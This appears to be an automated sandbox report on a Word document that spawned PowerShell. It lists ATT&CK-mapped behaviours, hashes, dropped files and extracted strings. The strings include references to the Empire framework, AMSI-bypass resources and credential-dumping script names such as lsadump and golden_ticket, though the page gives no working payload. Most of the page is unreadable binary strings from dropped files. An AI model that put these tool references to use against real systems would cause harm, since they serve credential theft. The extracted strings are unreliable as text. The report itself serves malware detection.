  "WINWORD.EXE" (Access type: "DELETE"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS")
  
  source
  
  Registry Access
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1112 (Show technique in the MITRE ATT&CK™ matrix)
- Scanning for window names
  
  details
  
  "WINWORD.EXE" searching for class "mspim_wnd32"
  "WINWORD.EXE" searching for class "MSOBALLOON"
  "WINWORD.EXE" searching for class "MsoHelp10"
  "WINWORD.EXE" searching for class "AgentAnim"
  "WINWORD.EXE" searching for class "NetUICtrlNotifySink"
  "WINWORD.EXE" searching for class "REListbox20W"
  "WINWORD.EXE" searching for class "OfficeTooltip"
  "WINWORD.EXE" searching for class "MsoCommandBarPopup"
  
  source
  
  API Call
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1010 (Show technique in the MITRE ATT&CK™ matrix)
- Spawns new processes
  
  details
  
  Spawned process "powershell.exe" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
Installation/Persistence
- Chained signature (with api-8702...). Detects file write then load as module
  
  details
  
  Chained signature (with api-8702...). Detects file write then load as module
  
  source
  
  Loaded Module
  
  relevance
  
  8/10
- Dropped files
  
  details
  
  "~_272bdbbae69fddddb6e289f8bf603e.doc" has type "data"
  "13272bdbbae69fddddb6e289f8bf603e.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Thu Jun 3 16:04:52 2021 mtime=Thu Jun 3 16:04:52 2021 atime=Thu Jun 3 16:05:11 2021 length=2648707 window=hide"
  "8627D596.png" has type "PNG image data 591 x 118 8-bit/color RGB non-interlaced"
  "9CAAB221.png" has type "PNG image data 690 x 643 8-bit/color RGB non-interlaced"
  "C19B2C8C.png" has type "PNG image data 1625 x 99 8-bit/color RGBA non-interlaced"
  "MSO1036.acl" has type "data"
  "D89612A0.png" has type "PNG image data 981 x 92 8-bit/color RGB non-interlaced"
  "~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp" has type "data"
  "37590EF7.png" has type "PNG image data 620 x 118 8-bit/color RGBA non-interlaced"
  "A6C22666.png" has type "PNG image data 901 x 293 8-bit/color RGBA non-interlaced"
  "931E972F.png" has type "PNG image data 412 x 81 8-bit/color RGB non-interlaced"
  "79520336.png" has type "PNG image data 271 x 91 8-bit/color RGBA non-interlaced"
  "1E34ECB4.png" has type "PNG image data 640 x 242 8-bit/color RGBA non-interlaced"
  "99725241.png" has type "PNG image data 943 x 54 8-bit/color RGBA non-interlaced"
  "24D0B1D.png" has type "PNG image data 749 x 197 8-bit/color RGBA non-interlaced"
  "7D8D2667.png" has type "PNG image data 590 x 168 8-bit/color RGB non-interlaced"
  "9C004E2D.png" has type "PNG image data 638 x 82 8-bit/color RGBA non-interlaced"
  "index.dat" has type "data"
  "13F74E14.png" has type "PNG image data 559 x 214 8-bit/color RGB non-interlaced"
  "DEFA43B9.png" has type "PNG image data 490 x 325 8-bit/color RGBA non-interlaced"
  
  source
  
  Binary File
  
  relevance
  
  3/10
- Touches files in the Windows directory
  
  details
  
  "WINWORD.EXE" touched file "C:\Windows\AppPatch\sysmain.sdb"
  "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll"
  "WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.MSO\359B47DC.png"
  "WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
  "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat"
  "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui"
  "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"
  "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"
  "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll"
  "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll"
  "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"
  "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll"
  "WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches"
  "WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db"
  "WINWORD.EXE" touched file "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000027.db"
  "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll"
  "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"
  
  source
  
  API Call
  
  relevance
  
  7/10
Network Related
- Found potential URL in binary/memory
  
  details
  
  Heuristic match: "beijaflore.com"
  Pattern match: "https://github.com/BC-SECURITY/DEFCON27"
  Pattern match: "https://www.youtube.com/watch?v=F_BvtXzH4a4"
  Pattern match: "https://www.youtube.com/watch?v=6J8pw_bM-i4"
  Pattern match: "https://github.com/cobbr/PSAmsi"
  Pattern match: "https://github.com/BC-SECURITY/Empire/blob/master/lib/common/bypasses.py"
  Pattern match: "https://www.virustotal.com/gui/"
  Pattern match: "https://github.com/EmpireProject/Empire/blob/master/lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1"
  Pattern match: "https://twitter.com/_vinnybod/status/1386442836417994752"
  Pattern match: "https://python-poetry.org/"
  Pattern match: "https://xlsxwriter.readthedocs.io/"
  Pattern match: "https://github.com/BC-SECURITY/Empire/pull/457"
  Pattern match: "https://github.com/BC-SECURITY/Empire/commits/master/lib/common/bypasses.py"
  Pattern match: "https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Invoke-Obfuscation.psd1"
  Pattern match: "https://pypi.org/project/click/"
  Pattern match: "https://github.com/Beijaflore-Security-LAB/EmpireExceller"
  Pattern match: "https://github.com/BC-SECURITY/Empire"
  Heuristic match: "> ./golden_ticket.py"
  Heuristic match: "> ./logon_passwords.py"
  Heuristic match: "> ./lsadump.py"
  Heuristic match: "> ./sam.py"
  Pattern match: "http://localhost:7474/"
  Pattern match: "https://localhost:1337/api/admin/login"
  Pattern match: "https://localhost:1337/api/map?token="
  Pattern match: "https://localhost:1337/api/modules?token=%3cTOKEN"
  Heuristic match: "(Get-Command).Name"
  Heuristic match: "poetry run ./empire_exceller.py"
  Heuristic match: "/usr/share/powershell-empire/lib/modules/powershell/collection/browser_data.py"
  Pattern match: "DOCNAME.docm/Microsoft"
  Pattern match: "https://amsi.fail/"
  Heuristic match: "QscYe_8] kO~Iu+CK}NX_a1+cfLoC*)pkEyu]XQ|>8T>(g('H+}e%9tUoE?el.ax"
  Heuristic match: "Le$7xk<?M)!~z/z<{}Y[`m?4[qwU C?'}s9!WhevTqWhei~y.n>$%Vp.><yN);O?j$y-HXQVKFP:/fCY3v^ <@.=p#.ZA"
  Pattern match: "RkQ.XkT/6&|@P4OJMVSQzPtr5!G"
  Pattern match: "r.Mu/@kFSCeR2P"
  Heuristic match: "<_D.221$L]:7']&j&|AEGD%?9i&rVz&P1{yE9]I/ft5?'/B:jo D1E6m0QQGw?M6QGEO:3t_%D`N#fU\%Vj8U?X%xPfori[O'|5;CL &~9Aty|*YPv}:oMx^<31-P-w/:h}L[BUTkg(Nf)8r&jjDe^~35.Cr"
  Heuristic match: "zj_#Lo%Y]dN&]aW@Yi$6SEL].gT"
  Pattern match: "1Pa.AP//kdAC$o"
  Heuristic match: "d;^BhX*$+aEIt.Su"
  Pattern match: "G.nw/t[W;j?#KEZKpRvpGx,b~eA0D/k"
  
  source
  
  File/Memory
  
  relevance
  
  10/10
Spyware/Information Retrieval
- Found a reference to a known community page
  
  details
  
  "https://www.youtube.com/watch?v=F_BvtXzH4a4" (Indicator: "youtube")
  "https://www.youtube.com/watch?v=6J8pw_bM-i4" (Indicator: "youtube")
  "https://twitter.com/_vinnybod/status/1386442836417994752" (Indicator: "twitter")
  "HYPERLINK "https://www.youtube.com/watch?v=F_BvtXzH4a4" https://www.youtube.com/watch?v=F_BvtXzH4a4" (Indicator: "youtube")
  "HYPERLINK "https://www.youtube.com/watch?v=6J8pw_bM-i4" https://www.youtube.com/watch?v=6J8pw_bM-i4" (Indicator: "youtube")
  "HYPERLINK "https://twitter.com/_vinnybod/status/1386442836417994752" https://twitter.com/_vinnybod/status/1386442836417994752" (Indicator: "twitter")
  
  source
  
  File/Memory
  
  relevance
  
  7/10
System Security
- Hooks API calls
  
  details
  
  "SysAllocStringByteLen@OLEAUT32.DLL" in "WINWORD.EXE"
  "VariantClear@OLEAUT32.DLL" in "WINWORD.EXE"
  "VariantChangeType@OLEAUT32.DLL" in "WINWORD.EXE"
  "OleLoadFromStream@OLE32.DLL" in "WINWORD.EXE"
  "SysFreeString@OLEAUT32.DLL" in "WINWORD.EXE"
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)
Unusual Characteristics
- Installs hooks/patches the running process
  
  details
  
  "WINWORD.EXE" wrote bytes "e6c80e3d" to virtual address "0x67E478E4" (part of module "OART.DLL")
  "WINWORD.EXE" wrote bytes "e9d73287ef" to virtual address "0x773B47BA" ("SysAllocStringByteLen@OLEAUT32.DLL")
  "WINWORD.EXE" wrote bytes "f8110000" to virtual address "0x754A1408" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "b89012f870ffe0" to virtual address "0x754A1248" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "48124a75" to virtual address "0x754B8348" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "9b7c0e3d" to virtual address "0x6934F530" (part of module "WWLIB.DLL")
  "WINWORD.EXE" wrote bytes "f8110000" to virtual address "0x754A12CC" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "f8114a75" to virtual address "0x754B834C" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "b88011f870ffe0" to virtual address "0x75A01368" (part of module "WS2_32.DLL")
  "WINWORD.EXE" wrote bytes "48124a75" to virtual address "0x754B83C0" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "5205cd3c" to virtual address "0x66E40BA8" (part of module "MSO.DLL")
  "WINWORD.EXE" wrote bytes "3be20c3d" to virtual address "0x6E3DCA70" (part of module "GFX.DLL")
  "WINWORD.EXE" wrote bytes "f8114a75" to virtual address "0x754B83C4" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "48120000" to virtual address "0x754A139C" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "48120000" to virtual address "0x754A12DC" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "48124a75" to virtual address "0x754B83DC" (part of module "SSPICLI.DLL")
  "WINWORD.EXE" wrote bytes "e9848e31ef" to virtual address "0x778CF71B" ("SetUnhandledExceptionFilter@KERNEL32.DLL")
  "WINWORD.EXE" wrote bytes "1e7300d9" to virtual address "0x61F710AC" (part of module "MSPTLS.DLL")
  "WINWORD.EXE" wrote bytes "e9c45487ef" to virtual address "0x773B3F20" ("VariantClear@OLEAUT32.DLL")
  "WINWORD.EXE" wrote bytes "e9ab9989ef" to virtual address "0x773B5D66" ("VariantChangeType@OLEAUT32.DLL")
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)

File Details

All Details:

13272bdbbae69fddddb6e289f8bf603e

Filename: 13272bdbbae69fddddb6e289f8bf603e
Size: 2.5MiB (2648707 bytes)
Type: docx office
Description: Microsoft Word 2007+
Architecture
: WINDOWS
SHA256
: c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c
MD5
: 13272bdbbae69fddddb6e289f8bf603e
SHA1
: 690fce07eb9b03141713eb76a7bad05a337e399d
ssdeep
: 49152:dJDkEs+VYalj+aNmyGkKm4u6omflhWI5Ne0UkRqANFY8qi0dVP:dls+VFj+aNm26oGrp5PUkZNFYt/DP

Resources

Icon

Visualization

Input File (PortEx)

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 2 processes in total.

WINWORD.EXE /n "C:\13272bdbbae69fddddb6e289f8bf603e.doc" (PID: 3240)
- powershell.exe (PID: 3024)

Logged Script Calls	Logged Stdout	Extracted Streams	Memory Dumps
Reduced Monitoring	Network Activityy	Network Error	Multiscan Match

Network Analysis

DNS Requests

No relevant DNS requests were made.

Contacted Hosts

No relevant hosts were contacted.

HTTP Traffic

No relevant HTTP requests were made.

Extracted Strings

Download All Memory Strings (931B)

!!$$`$b$$$$$$$$p%r%%%&&>&@&X&Z&j&l&&&&&&'''''"*<*>*j*p*r*t*****++0,2,,,,,8-:-v-x--h?h5h5h?Wh5>*h5>*hbmMh5>*jh5UmHnHsHuh_h5h_h56h5

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

!"#$%&'()*+,-./0123456789:;<=>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

!#?#?word/media/image24.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!$T^8=nl/l&VTEc(9|=`N

Ansi based on Dropped File (~WRD0001.tmp)

!%ArAAword/media/image36.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!%WbVjV9dB|/

Ansi based on Dropped File (~WRD0001.tmp)

!'L[COVfB[Ix\qJV%6i'z>SGc"[v3Kp49lRWg@-zVOC.)M-zMf}|e7a5

Ansi based on Dropped File (~WRD0001.tmp)

!(1Q&;&;word/media/image27.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!.<<word/media/image35.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!.ulmzo<} C>rd%r)aNkr*{55'C+o!kO}f>rxhu|?@g>y>QdYop}xGasIq

Ansi based on Dropped File (~WRD0001.tmp)

!0"*-Q]J6+y.3~@%7n)_TNw'wf<7x,sZZl x3g?'y!@,Ny}hnF'D0W:C2c4]:Mipb9}!&"q

Ansi based on Dropped File (~WRD0001.tmp)

!1x_` ` word/media/image33.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!1{zqV_^bA^@?}q8/:AXRN-HWwYQw?c1D#Q'4_|j!wCe66:E,%r:/Ud=kY: z&'\z0HhK"G]mHpm8QB)0'{ba9DWWWU%!}^x:Hl

Ansi based on Dropped File (~WRD0001.tmp)

!2:r&U=:?)O#?Ju.o=z[>Sbco%s,f,p<sI17I4n$;3y;3h02*+G

Ansi based on Dropped File (~WRD0001.tmp)

!4$`^+<odJ!$7v0*<vfA`-3-L?75n|dOu&'EmdO)1!^8g

Ansi based on Dropped File (~WRD0001.tmp)

!5i1[u5%]qp_`{J%DG']yt,H:v(&2>c5-um|Om[@&_wq

Ansi based on Dropped File (~WRD0001.tmp)

!6K}b)<{

Ansi based on Dropped File (~WRD0001.tmp)

!77word/media/image34.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!8;|),3OqJ>Jc[b^O6WM}6rAEi:8t>t~%5I<$ZVf/bf1!#P

Ansi based on Dropped File (~WRD0001.tmp)

!8<T{V/#GhaUbJGsEw>2&:PG?c?:8?\=E/WXhF03GrrWfE>/DMVux.q{

Ansi based on Dropped File (~WRD0001.tmp)

!:@ TTword/media/image31.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!=2NUUword/media/image39.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!@j< +9xA0:kaD+yMpb'j#\BKdM:b^(\y|`}T"s\qxZOHDPgP;sDezegn}!!( gI/<RIgO}(@{YV;:yh&3/g'["

Ansi based on Dropped File (~WRD0001.tmp)

![0e36nk>+3A"MG5o@4W~Hv#9KHLeS*0IY\1[Lx1rHa3

Ansi based on Dropped File (~WRD0001.tmp)

!\1[[word/media/image37.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!\5y:5vw#WeC

Ansi based on Dropped File (~WRD0001.tmp)

!\C'o/]n]~~WOS!aGX_P%YM?\~!e^<[x7T:ZK9=`'7I[wUHSRj"~p;{[T>7-m{Owme5k[0z;{g[V _['N3s/lvvKw}Pqpl4@qa[0a4S7oVj(o#x8i^-^x>k4s=~?!q

Ansi based on Dropped File (~WRD0001.tmp)

!\o)ZZword/media/image29.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!\q65,Vl^(j>Z+d|y,G'HI|.f`E\31[~:A:LyMSy^f>-Pbw^8^FJK/$ab&ciTZIt3#kg]~Afg.fIXekO`"V'P/xF5<Q6cO|Uhf8qJ\ixH"Rn(3%>o6G;@y9HY<sLrVsT{"x~!*V$R#^b,.]\v`-RlqO"h'E/63-*\J~qO}FJ<dD8%E6fZ;B)8!FDw6/t&Wnu

Ansi based on Dropped File (~WRD0001.tmp)

!^w:77e!aF"Lt;[~{~p vga.E[I}{t~g($:X=.@,qy=NyQNs/q:J|)fQx66zZ8kV;&V_#k>qyJHR979uRR] ,eKW@k]S =Mp

Ansi based on Dropped File (~WRD0001.tmp)

!agsB}0X0l}>KAo60=

Ansi based on Dropped File (~WRD0001.tmp)

!C}?Jk7V>vxFZU9Ik5dP~PM>L

Ansi based on Dropped File (~WRD0001.tmp)

!d<ZZword/media/image30.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!Dan&F7Ov!'-,kOc]!n$*TPlLg3K{VooyA ,2bo!'NskFMD6u;^{yN6S}](qn&mamyI%+&j

Ansi based on Dropped File (~WRD0001.tmp)

!F';{bd}!}}d_;oa&h 5YX5BT'Q}Yu853jz

Ansi based on Dropped File (~WRD0001.tmp)

!hm&2;ZZCGW=I

Ansi based on Dropped File (~WRD0001.tmp)

!I":;MT5-dyE1N

Ansi based on Dropped File (~WRD0001.tmp)

!J<9Pm3RG/X k_t,NW ck;n~CrS@Ee,

Ansi based on Dropped File (~WRD0001.tmp)

!L b4)Kc{4Ff+Ldd>;

Ansi based on Dropped File (~WRD0001.tmp)

!LlxoS#z%_x=%|^4yq;-5`xvwv38kDJv$UF|:\JTQ:gZsM.NxSLKz_>9=v]>pYXFYXpqH."x&8|6bAEk-@nEb`SI`F.5g%AV{zb'pK"sRRjs{Z?x$d)C :p-_B8FtMs@avxf6dp1AQKZD0<&O-Baah8GKRE\\0<

Ansi based on Dropped File (~WRD0001.tmp)

!L|6=~0'to0<q\|a

Ansi based on Dropped File (~WRD0001.tmp)

!m>,s5>teO,uSx=O|O@$6S|:Eizei|~Ug1ny9gWsw&p.zq!OJ25:]f6o&Y+;(@0D=Wqul #!'NO.xViSl&SV"T)P`2@k`)&$\Z;r8MgA+$6bLMTjos&]]<^4N\rFlSUZ4q78eD$B@hXeYYCD`YorOq_Bcj[r1Cx[/MjUp|e:wqnyYhb;OpU<

Ansi based on Dropped File (~WRD0001.tmp)

!m@9g!:*4w/

Ansi based on Dropped File (~WRD0001.tmp)

!MD~YC[?\2sowOgBd}

Ansi based on Dropped File (~WRD0001.tmp)

!QB0^^word/media/image25.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!R4/WXZzs`g1vYO8k??nN\/Qg@P<$=3M8iShR=T"\rp;-Q]2djsr:QT2g82TDjc?c7(Vh|+};>=D'SWPhMccV1fP'K%QALa)ugx6`vuiGfskhbPIcw2sx"Rd{C0~^jrUX4k;57Z{p#9qW>^Pkes,pF?~|f5?<4uGYtP>$o<CM_mFDH;^d`bL(;k{1B5DUR

Ansi based on Dropped File (~WRD0001.tmp)

!S#Br-&Y!atkRCs\r*9VAU3IaM-iiD#WZ`ji{R+|gy;%qI{ |]-[<N;Z;{_< gjj NU?r<Vyx-hs8m2:z#i~vN{r&Dlh)V|';1v>-g1OU~Tjr(^gz+Fb'>o/&d>v->@TU@k\dyo8;G:)/ezyUXaW!*r^f8+

Ansi based on Dropped File (~WRD0001.tmp)

!s5nv[>"'i8FK_OD<H;wR/<E?)_'HqJSXF2tH#NN*{zf=w1sobsFR196FaY-&a]"bG6l{(U}Hrc-[$f!AFFFF'r9r+ Oiyg]%q}iTik*

Ansi based on Dropped File (~WRD0001.tmp)

!sYDh+t"(_#b~XaE/QDE]+D,b[)~i9

Ansi based on Dropped File (~WRD0001.tmp)

!T&\1`d`RPjiF

Ansi based on Dropped File (~WRD0001.tmp)

!t+L{CTQ7L?[I6Dz0_N&l1h(\au

Ansi based on Dropped File (~WRD0001.tmp)

!tzND5!nT{wE BCv <yA,fb\;!rWQB)wWrQ})i+Z:]3`r9|`3$R]RDFeFQ!*kHaX#!kQlp8RW(1Yl|$wtg3T];<72x?n%vA-om93u|6En-bD`w8nY|*!x0A.D6Zz1Ou|3aV;</S-3ELmTAx]Q_6C^xvu;50Gq5`x7_SF`KA:q*y#~*~[F,)Qo]uOtAf5=9DCxLM%hRO9_Ssd6/|+~{B_Y

Ansi based on Dropped File (~WRD0001.tmp)

!U%O/!xMs$;cF+E+1Oe+Q|XTI`;a3WqLev<W{#e"rB[/0eM/$k)#u3f;k);)iX*uUJJ6%jaliM+!u g4g_0[k|P{xd_3t/6#qd6vF),^,09H$9WflE>AxN:|cwtSnuO!w"WO%j~[E4kBIiqjd-[WXeO

Ansi based on Dropped File (~WRD0001.tmp)

!v@word/media/image28.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!Vl'[D}-!3

Ansi based on Dropped File (~WRD0001.tmp)

!VYD|~|NGBDAornB}$B8rKv

Ansi based on Dropped File (~WRD0001.tmp)

!Wbbword/media/image32.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!word/media/image48.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!Z>#[:d:v+^S|axJKW)58OQE>ax~Oh

Ansi based on Dropped File (~WRD0001.tmp)

!{ffword/media/image49.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

!|e77word/media/image47.pngPNG

Ansi based on Dropped File (~WRD0001.tmp)

"!}bGLX9{X{k]2#

Ansi based on Dropped File (~WRD0001.tmp)

"$&(*&(464<*02>@jzhrhrhJBhr

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

"'1}y1S%z~cLu ^|\[MoYoj:8x<C:^^JlebMp:^h]^~%^?yW- Vj<g[pOgM>c,o9?O+(c888xy/}wx$N{<<'w,sEP'CN}xO~?gz{/bwo!A\O

Ansi based on Dropped File (~WRD0001.tmp)

")gt'=D|j|(F2yuq:#NDnm

Ansi based on Dropped File (~WRD0001.tmp)

"+'%Pg0-t<H7;BEn:qqz(hC=3JIvqTEnlb)o[+w'{-+?uULFF7-N@FFFFFFFFFFA22@u>IDAT22222222`A?O?OPI&IENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

"-IS/pO=$Y+mZJmUR_mX.Zat0#yE)uH=,:=TmBZ;YxhuBDck

Ansi based on Dropped File (~WRD0001.tmp)

"/xD[LKWv065SIe/A)o;qL44qg%Odj4_z2)||%%AX8}6DMs

Ansi based on Dropped File (~WRD0001.tmp)

"2H6O:_Kuu

Ansi based on Dropped File (~WRD0001.tmp)

"3|h3[#%s",3TX#E?za>&w*$s@y^w>Sw%:N

Ansi based on Dropped File (~WRD0001.tmp)

"6 "3/+h+uv=gz&ZtQ%?a~OdM1r_]eAn|0KYm*\Z`:Z{uf7sc\IGSUEc?"t#_ZGH(^[)p[^4o;a`RQQsy^JeT!ryjx4dk]BA=/b>^nwBZMzDaKVC/y,7f(\M%J.LHTucuk;Xun'gt3RUSAT}_28ASl#TgwyNAC/X?+Gg

Ansi based on Dropped File (~WRD0001.tmp)

"8T.5z4[@C&

Ansi based on Dropped File (~WRD0001.tmp)

"9pz18hMnibve.W@"!wr;RPYEKtvkRct~-U/X9rr,)(S_EZmd?~qC's;lh&|s

Ansi based on Dropped File (~WRD0001.tmp)

":e"Z?zkWy9ne~Vu>=g/,LbC+=_jHbkB{[k-_!](|sMR$]sAk_FM3!S46LaeG[t >W6{>X>~g+o7EN=~D7Z\?vSt]x-JnhQbPG't}Uv#VuReg{'kigm >oYhoiU]~]XvhS/fXw-{Z3NYV$$eNw{rJP9H6OjU&<ENc0_4E>

Ansi based on Dropped File (~WRD0001.tmp)

"<Dm|::Cv*i0tzj"ES\ghy|/Wp$I,aPCji-5]['YJofLTs~!_l,X=EX!Dav-0MR}i!+Vqa?0nap)Y{Vzyp-r{XSZpoXL

Ansi based on Dropped File (~WRD0001.tmp)

"=V^Ny7"<">Nsj<i/X(iLF&iw|'WBT=}H'x^lI<~dg`90&ULgw'y{-T>9DqD9g iWS&!NF)&ZNi{X~'2C)<a+KR9bFNx'b/Vk9

Ansi based on Dropped File (~WRD0001.tmp)

">D0KG4&t{0Fqo2A; T

Ansi based on Dropped File (~WRD0001.tmp)

"?+*K:sA=\_mLO%'h}Jny'\Z:P#~v+?zgbk5=6fqx2]'p[?]&[wwTPg*O3hG~(H(kyAK/!<jcMV(-yK1&$4B_g1+$eI9KC3i~}6|-3{x<*-sji(pekJCPqxOEsiI0{uF%d"o_+

Ansi based on Dropped File (~WRD0001.tmp)

"?^END8t]&j_MV#-ot4&mGoB{?

Ansi based on Dropped File (~WRD0001.tmp)

"?gQqm<PvAXf'!zoDeuMD=JPzTH%-&*r_1nU{`#+Wt'pq==E>9'5H

Ansi based on Dropped File (~WRD0001.tmp)

"@9(eR?cIfL)7(q7lZ{Z~vz#tSx_*cK|&Ukz^A5DkxTWJ)g0\Bl@_FwidfU.zTv2-Y)uLPxb]G9j7Q!FPkhRgedPz:OUq]Q25<%]%Ri.Agr1

Ansi based on Dropped File (~WRD0001.tmp)

"\#M{#seCVjqZ"wr

Ansi based on Dropped File (~WRD0001.tmp)

"^tq>}5daKWF$WLN&Q0/

Ansi based on Dropped File (~WRD0001.tmp)

"A 48<xF

Ansi based on Dropped File (~WRD0001.tmp)

"Dh<L:&\b"VUhbZz*,4Q3Wpea$t>})A, 8|BJw!rw=U\H'8~)5_|C1kfp>bya

Ansi based on Dropped File (~WRD0001.tmp)

"FK[gep@0G,XqX1y-Rjc|aQ![~"|-!3nFO@..9`1O*#twX+c]>:r=~Kv @B{Dn_<Z^hK

Ansi based on Dropped File (~WRD0001.tmp)

"FT#|M'[) _Azn|125~oyH|3pV'<m^3\q~!r3~X,%'ml6GYVfcP4@[l6Q:cg+Mimaa1cQ13\Cw:0]

Ansi based on Dropped File (~WRD0001.tmp)

"G"w<SEt.v~GlJ2P6^4OR6aeEx^11FGcg"fcn3$$$&ebQ:'83 @M_^T|<z3

Ansi based on Dropped File (~WRD0001.tmp)

"h,\+Rq3TZK4.4z)A7JN$^o(jWQ*|!Dm"6QsVn[R/X(nQ

Ansi based on Dropped File (~WRD0001.tmp)

"h7a%yoL._[E308=7P}2l3Z[MR/W|$=JQ)v3A*UzdxEV4J\f<oT;=T i;

Ansi based on Dropped File (~WRD0001.tmp)

"Hw"w P^O;<aY`GkxmPY[g

Ansi based on Dropped File (~WRD0001.tmp)

"i<<~au"Z|Hn{b<qq..#J6k|CM<~QDC[x&;1k97/wz5=g^-o59'Wj5@\:Mu^/sMxm>,(Zq`p2,4[_&6,Gp}:>BC(Vz^qlquu4tmESrv?aWIqdnps~}cx]!Bb8.;0Y@H^n7S>Bce&D|w"I,#dYT,

Ansi based on Dropped File (~WRD0001.tmp)

"K)(m(eX.upR\niG8t#CGmx0MNWcEm,t~[?.u4!x"W>#wpH]b g|:gEI?`

Ansi based on Dropped File (~WRD0001.tmp)

"KaN,a)p>f$,_]}9\d(-vY@m{ui{6Q>zD5_fq0/1y-h9%eqBgu|WPd/Swg.>P<m?k';v;JJ

Ansi based on Dropped File (~WRD0001.tmp)

"La% J3@0+Op4XQY40o@4ADj'PIEvj0@d87J_4qy@m!|T"Z)2Ih'klle(GFg\\R&0~W<$xC&!(L*KkBWYHMO@'EIi*ME4QdhhnluQT0#D0j6=?3D J

Ansi based on Dropped File (~WRD0001.tmp)

"MCM>Ji2>K8y@^qZGCg6j%H=uAXpG#Gq_

Ansi based on Dropped File (~WRD0001.tmp)

"ns%DtNCR1lhB$01lG2imO

Ansi based on Dropped File (~WRD0001.tmp)

"Oo;mwSm.dQnyO@LjnrjP6r9;?f^BtLXu-=qRhs{A3SMYe/VRH"m+E#1eQJAv~LU-D19P[t0+?=|J0UpEJMwX3p1Wv^a.4mdEqmv6G/{vUhmJe+6qYo=OKlo!m`/y1?5l:<YvA:JK/?etB]j]hNy!&vu%![+}ziT:`Jw~Shw\T<O_%oF5IsOz|$E X7QW

Ansi based on Dropped File (~WRD0001.tmp)

"PSDO_)rS*7?-XC.|8c4{IJ0zgOG<Tfv%-cS)?AmGY|u?Ayktes7nK

Ansi based on Dropped File (~WRD0001.tmp)

"R4}ojs#[Oei3'KPFGl]~MbIhQ4vnk(KsWTh$\Mkdr0Uv};)

Ansi based on Dropped File (~WRD0001.tmp)

"t3go^v#cs=cWx.Yzy :Dzkq;#q

Ansi based on Dropped File (~WRD0001.tmp)

"V&f+`o2]Nx':RL3<oQ9Qov#Mik(a'

Ansi based on Dropped File (~WRD0001.tmp)

"veF?E$mYOv[8x*u&7Nkc!#g!-T~id;JFy} PPPPx \8&:o`j|8q^/2UzQ\P&=S~7dgT;YqQDFE-`#~<(_\!`RI_N"eV<'\<<CyRSPLiS-QQ$4Sa `|w8v.?r:a~mTJ:rK*n+T%g7o%u5Oy? `+4=kO\pT

Ansi based on Dropped File (~WRD0001.tmp)

